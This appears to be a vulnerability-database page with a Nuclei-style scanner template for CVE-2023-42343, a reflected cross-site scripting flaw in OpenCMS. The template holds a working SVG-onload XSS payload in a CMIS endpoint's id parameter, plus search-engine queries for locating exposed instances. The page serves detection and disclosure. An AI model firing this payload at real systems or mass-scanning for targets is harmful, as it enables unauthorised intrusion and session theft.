CVE-2023-42343: OpenCMS - Cross-Site Scripting

2025-08-01 OpenCMS PoC Public

Description

OpenCMS below 10.5.1 is vulnerable to Cross-Site Scripting vulnerability.

PoC

id: CVE-2023-42343

info:
  name: OpenCMS - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    OpenCMS below 10.5.1 is vulnerable to Cross-Site Scripting vulnerability.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the id parameter in CMIS endpoints to steal user session cookies and execute attacks against OpenCMS users.
  remediation: Fixed in 10.5.1.
  reference:
    - https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/
  classification:
    cve-id: CVE-2023-42343
    epss-score: 0.0059
    epss-percentile: 0.46519
  metadata:
    verified: true
    max-request: 1
    shodan-query:
      - "/opencms/"
      - http.title:"opencms"
      - cpe:"cpe:2.3:a:alkacon:opencms"
    product: opencms
    vendor: alkacon
    fofa-query: title="opencms"
    google-query: intitle:"opencms"
  tags: cve,cve2023,xss,opencms,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/opencms/cmisatom/cmis-online/type?id=1%27"><svg%20onload=alert(document.domain)>'
    headers:
      Content-Type: application/cmisquery+xml

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Apache Chemistry OpenCMIS'
          - '<svg onload=alert(document.domain)>'
        condition: and
# digest: 4a0a004730450220773636a7fa955f94deaaade8692b35062edb7e02a0a345d41e58a4eaec9d7d77022100c7e97d93748fe0f7ac0bbf8e624a6209a56c35c9e25de9ceca6562c3a048005e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities